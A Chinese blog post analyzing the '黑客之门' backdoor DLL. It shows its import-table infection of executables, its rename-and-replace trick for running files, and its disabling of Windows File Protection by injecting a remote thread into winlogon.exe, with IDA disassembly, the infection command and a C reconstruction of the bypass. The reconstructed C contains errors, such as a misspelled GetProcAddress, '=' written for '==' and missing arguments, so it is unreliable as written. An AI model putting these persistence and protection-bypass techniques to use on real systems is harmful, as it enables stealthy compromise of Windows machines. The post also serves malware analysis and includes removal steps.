最近对后门产生了很浓厚的兴趣，上网与各位高手讨论的时候，有人提到了“黑客之门”很厉害，也算是推出来的比较成功的一个后门，于是上网下载了一个研究研究，顺便也学习学习其中的方法与技巧。不敢独享，分享于此，同时希望高手们指教。
“黑客之门”介绍
黑客之门采用的目前一些先进的后门技术，它只有一个Dll文件，通过感染系统文件启动自身，被感染的系统文件大小和日期都不会改变；同时采用线程插入技术，本身没有进程；本身不开端口，而是重用系统进程开的任意一个端口，如80，135，139，445等，因此它的隐藏性非常好，而且穿透防火墙也是很容易的事。这个版本文件不大，只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门，象Fport，Llister，RKDetector等查工具都失效。
程序的自启动
既然是一个后门，那么就要随系统的启动而启动，根据黑客之门的介绍，它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件（像病毒），那就看看感染前和感染后的系统文件的区别吧！为了测试感染前后的差别，我准备了一个专门用来被感染的文件TestLoad.exe，它没有什么功能，只是弹出一个对话框，这样好等待测试，麻雀虽小，五脏俱全，省得动系统文件了。接着运行命令：
C:/>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
使黑客之门感染TestLoad.exe，感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。
被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示：
图 1
感染之后的TestLoad.exe的结构如图2所示：
图2
可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的TestLoad.exe的引入表地址（Import Table Address ITA）已经被改变，原来的ITA为0x000043FC，感染之后为0x0000477E。
为了进一步看清除感染前后的文件的变化，这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数，比较结果如图3所示：
图3
小提示：使用LordPE.exe查看exe文件的引入表函数方法是：点击PE Edito打开相应的文件，接着点击Directories，弹出对话框后点击Import Table右边的三个点，这样就可以查看一个可执行文件的引入表了。
可以看出，只是在引入表链表中添加了一个相应的Hkdoordll.dll，这样当被感染的程序再次运行时，由系统的程序装载器搜索Hkdoordll.dll，并将其引用到被感染程序的地址空间，后门就运行起来了。黑客之门的这种子启动方式值得学习，比较灵巧。
搞明白了黑客之门的启动方式后，我们就可以手动清除它了，这里切不可将Hkdoordll.dll直接删除，这样可能直接导致系统崩溃。因为系统在加载被感染的程序（假如为Services.exe）时发现没有找到Hkdoordll.dll，Services.exe将不能被装载，如果被感染的是系统关键进程的话，那么系统将不能正确的启动。清除的时候我们可以去别的机器上（相同系统与补丁）找一个Services.exe，将被感染的程序命名为Services2.exe，将Services.exe拷贝到System32文件夹下，重启电脑，删除Hkdoordll.dll就清除黑客之门了。
运行时感染
上面说的是黑客之门的自启动方式，下面看看黑客之门是怎么感染正在运行的系统文件的，这一点让我晕了很久，最后发现是用了一个很灵活的小技巧。
我们知道在Windows系统下，正在运行的程序文件一般是不能修改或者删除的，正是由于这一点，才出现了各种程序运行时的自删除大法，程序自删除不是我们这次的重点。但是，细心的用户可能已经发现，在Windows 2000或Wndows XP系统下，我们可以对正在运行的EXE文件进行重命名或者移动。
再拿刚才的TestLoad.exe做测试，运行：
C:/>rundll32 hkdoordll，DllRegisterServer TestLoad.exe 2
可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak，咋一看还以为“黑客之门”做好事，自动帮你备份一下系统文件，其实这可是黑客之门的狐狸尾巴啊！是它不得已而为之的。不要关闭TestLoad.exe，然后试着删除TestLoad.exe和TestLoad.exe.bak，是不是发现奇迹了？竟然把TestLoad.exe删掉了，而TestLoad.exe.bak竟然不让删，是不是和我刚才说的话矛盾？非也！非也！刚好证明了刚才的话：黑客之门先把TestLoad.exe改名为TestLoad.exe.bak，然后生成一个被感染的TestLoad.exe，这样，下次运行TestLoad.exe实际上是被替换过的程序，原来的程序则放在一边。
用IDA Pro反汇编Hkdoordll.dll可以发现以下函数的调用：
文件重命名：
.data:1000C618
lea
ecx， [esp+438h+FileName]
.data:1000C61F
lea
edx， [esp+438h+var_324]
.data:1000C626
push
ecx
.data:1000C627
push
edx
.data:1000C628
call
rename
拷贝文件：
.data:1000C66F
lea
edx， [esp+440h+var_32C]
.data:1000C676
push
0
; bFailIfExists
.data:1000C678
lea
eax， [esp+444h+var_228]
.data:1000C67F
push
edx
; lpNewFileName
.data:1000C680
push
eax
; lpExistingFileName
.data:1000C681
call
CopyFileA
移动文件：
.data:1000C795
mov
eax， [ebp+8]
.data:1000C798
test
eax， eax
.data:1000C79A
jnz
short loc_1000C7FE
.data:1000C79C
lea
ecx， [esp+448h+var_334]
.data:1000C7A3
push
5
; dwFlags
.data:1000C7A5
lea
edx， [esp+44Ch+var_230]
.data:1000C7AC
push
ecx
; lpNewFileName
.data:1000C7AD
push
edx
; lpExistingFileName
.data:1000C7AE
call
MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”，”TestLoad.exe.bak”， MOVEFILE_DELAY_UNTIL_REBOOT| MOVEFILE_REPLACE_EXISTING);
小知识：MSDN中对MoveFileEx()函数的解释为：
BOOL MoveFileEx(
LPCTSTR lpExistingFileName， // pointer to the name of the existing file
LPCTSTR lpNewFileName，
// pointer to the new name for the file
DWORD dwFlags
// flag that specifies how to move file
);
这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak，接着Hkdoordll.dll生成被感染的TestLoad.exe，并且保存在原来的文件路径上即可。
灭掉系统文件保护
一旦系统启动了，Windows系统就开始加载已经被感染的系统程序，但是由于“黑客之门”是通过感染系统程序实现自启动的，这下子又遇到了另外一个问题。
大家都知道，在Windows 2000和Windows XP中有系统文件保护功能，一旦被保护的系统文件被修改了，就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题， TestLoad.exe只是一个普通的EXE文件，而不是受系统文件保护系统保护的系统进程，那为什么黑客之门修改系统进程时，操作系统的文件的文件保护系统不会提醒呢？
这一点，还是采用反汇编黑客之门的方法，观察它是怎样关闭系统文件保护功能的。
发现如下的代码：
.data:1000BBB0 LoadSFCDLL proc near
; CODE XREF: sub_1000BC70+B7
.data:1000BBB0
push
esi
.data:1000BBB1
xor
esi， esi
.data:1000BBB3
call
GetVersion ; Get current version number of Windows
.data:1000BBB3
; and information about the operating system platform
.data:1000BBB9
cmp
al， 5
.data:1000BBBB
jnz
short loc_1000BBDF
.data:1000BBBD
xor
ecx， ecx ;此时为Windows2000系统
.data:1000BBBF
mov
cl， ah
.data:1000BBC1
test
cl， cl
.data:1000BBC3
jnz
short loc_1000BBD2
.data:1000BBC5
push
offset aSfc_dll ; lpLibFileName
.data:1000BBCA
call
LoadLibraryA ;此时为WindowsXP系统
.data:1000BBD0
pop
esi
.data:1000BBD1
retn
.data:1000BBD2 loc_1000BBD2:
; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2
push
offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7
call
LoadLibraryA
.data:1000BBDD
pop
esi
.data:1000BBDE
retn
上面的代码可以看出，Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll，如果是Windows 2000（Windows NT 5.0）的话，装载Sfc.dll；如果是Windows XP（Windows NT 5.1）的话，装载Sfc_os.dll。再看下面的一段反汇编代码：
sub
esp， 228h
.data:1000BC76
lea
eax， [esp+228h+hObject]
.data:1000BC7A
push
ebx
.data:1000BC7B
push
esi
.data:1000BC7C
push
edi
.data:1000BC7D
push
offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82
push
0
.data:1000BC84
push
offset aDS
; "%d/%s"
.data:1000BC89
push
1Fh
.data:1000BC8B
mov
edi， ecx
.data:1000BC8D
push
eax
.data:1000BC8E
call
sub_10008C60
.data:1000BC93
add
esp， 14h
.data:1000BC96
lea
ecx， [esp+234h+hObject]
.data:1000BC9A
push
ecx
; lpMultiByteStr
.data:1000BC9B
call
sub_100016CC
//这个子函数就是用来得到进程ID
.data:1000BCA0
cmp
eax， 0FFFFFFFDhSFC
.data:1000BCA3
jb
short loc_1000BCDB
.data:1000BCA5
push
offset aCanTGetWinlogo ; "Can't get winlogon process id!/r/n"
上面的函数用来得到Winlogon.exe进程的ID，以便下面打开它注入代码：
.data:1000BCDB
push
eax
; dwProcessId
.data:1000BCDC
push
0
; bInheritHandle
.data:1000BCDE
push
1F0FFFh
; dwDesiredAccess
.data:1000BCE3
call
OpenProcess ;打开目标进程
.data:1000BCE9
mov
ebx， eax
.data:1000BCEB
test
ebx， ebx
.data:1000BCED
jnz
short loc_1000BD25
上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码，发现下面的一段：
.data:1000BD25
mov ecx， edi
.data:1000BD27
call
LoadSFCDLL
.data:1000BD2C
mov esi， eax
.data:1000BD2E
test
esi， esi
.data:1000BD30
jnz
short loc_1000BD6F
.data:1000BD6F
push 2
;函数序号为2
.data:1000BD71
push esi
;SFC.dll的 hModule
.data:1000BD72
call
GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78
test
eax， eax
.data:1000BD7A
mov
[edi+10h]， eax
.data:1000BD7D
jnz
short loc_1000BDC3
可以发现上面的汇编代码用来得到以前装载的Sfc.dll（或Sfc_os.dll）中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3，继续跟踪反汇编代码，发现以下一段：
.data:1000BDC3
push
eax
; 刚才得到的SFC.dll中函数的地址
.data:1000BDC4
push
ebx
; Winlogon.exe进程的句柄
.data:1000BDC5
mov
ecx， edi
.data:1000BDC7
call
sub_1000BBF0注意这里调用函数 sub_1000BBF0
.data:1000BDCC
push
esi
; hLibModule
.data:1000BDCD
mov
edi， eax
.data:1000BDCF
call
FreeLibrary
.data:1000BDD5
test
edi， edi
.data:1000BDD7
push
ebx
; hObject
跟进Sub_1000BBF0函数，Sub_1000BBF0函数：
入口参数：进程句柄、线程开始地址
.data:1000BBF0 sub_1000BBF0
proc near
; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId
= dword ptr -1
.data:1000BBF0 hProcess
= dword ptr 7
.data:1000BBF0 lpStartAddress = dword ptr 0Bh
.data:1000BBF0
.data:1000BBF0
push
ecx
.data:1000BBF1
mov
ecx， [esp+1+lpStartAddress]
.data:1000BBF5
mov
edx， [esp+1+hProcess]
.data:1000BBF9
lea
eax， [esp+1+ThreadId]
.data:1000BBFD
push
esi
.data:1000BBFE
push
eax
; lpThreadId
.data:1000BBFF
push
0
; dwCreationFlags
.data:1000BC01
push
0
; lpParameter
.data:1000BC03
push
ecx
; SFC.dll中第二个函数的函数地址
.data:1000BC04
push
0
; dwStackSize
.data:1000BC06
push
0
; lpThreadAttributes
.data:1000BC08
push
edx
; 以前打开的winlogon.exe进程的句柄
.data:1000BC09
mov
[esp+21h+ThreadId]， 0
.data:1000BC11
call
CreateRemoteThread
;创建远线程
.data:1000BC17
mov
esi， eax
.data:1000BC19
test
esi， esi ;ESI保存刚才新创建的线程的句柄
.data:1000BC1B
jnz
short loc_1000BC3F
??????????????????????????????
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:
; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F
push
0FA0h
; dwMilliseconds
.data:1000BC44
push
esi
; 新创建的线程的句柄
.data:1000BC45
call
WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B
test
eax， eax
.data:1000BC4D
jz
short loc_1000BC5D
??????????????????????????????????
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:
; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D
push
esi
; hObject
.data:1000BC5E
call
CloseHandle
.data:1000BC64
mov
eax， [esp+5+ThreadId]
.data:1000BC68
pop
esi
.data:1000BC69
pop
ecx
.data:1000BC6A
retn
8
.data:1000BC6A sub_1000BBF0
endp |
上面的子函数功能很简单，就是在刚刚打开的Winlogon.exe进程中创建新的线程，新线程调用SFC.dll中的序号为2的输出函数，这样便关掉了系统文件的自我保护。
事实上，根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释，在Windows 2000(XP)系统下，执行系统文件保护的代码在Sfc.dll（XP在Sfc_os.dll）中，这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件，Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件，这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数，就能取消文件保护功能了，“黑客之门”采用的也正是这样的方法。
这里需要注意的是，要把进程注入到Winlogon.exe中，需要提升自身的权限到Debug权限。
HANDLE hToken;
LUID DebugNameValue;
TOKEN_PRIVILEGES Privileges;
DWORD dwRet;
OpenProcessToken(GetCurrentProcess()，
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY，hToken);
LookupPrivilegeValue(NULL，"SeDebugPrivilege"，&DebugNameValue);
Privileges.PrivilegeCount=1;
Privileges.Privileges[0].Luid=DebugNameValue;
Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken，FALSE，&Privileges，sizeof(Privileges)，
NULL，&dwRet);
CloseHandle(hToken);
上面整个关闭系统文件保护功能的实现用C语言写下来如下所示：
/*得到进程的ID，具体的方法可以使用CreateToolHelpSnap32()，ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(，FALSE，dwPid);
DWORD dwVersion;
HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{
// Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000
hSfc = LoadLibrary("sfc.dll");
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)
//Windows XP
hSfc = LoadLibrary("sfc_os.dll");
}
//得到函数的地址
FARPROC dwAddress=GerProcAddress(hSfc， MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE hThread;
//创建远线程
hThread =CreateRemoteThread(hProcess，0，0， /
(DWORD (__stdcall *) (void *)) dwAddress，0，0，&dwThreadId);
WaitForSingleObject(hThread，0x0FA0);
结束语
大概分析完了，刚开始拿到黑客之门的时候，还在想，它到底是怎样感染正在运行的系统文件的呢？原来以为是修改进程的句柄指向的进程的操作掩码完成的，为此我还翻阅了好多文档。结果通过对程序的反汇编学习，渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者，没有给它加壳，能让我们有幸能一睹优秀黑客工具的容颜
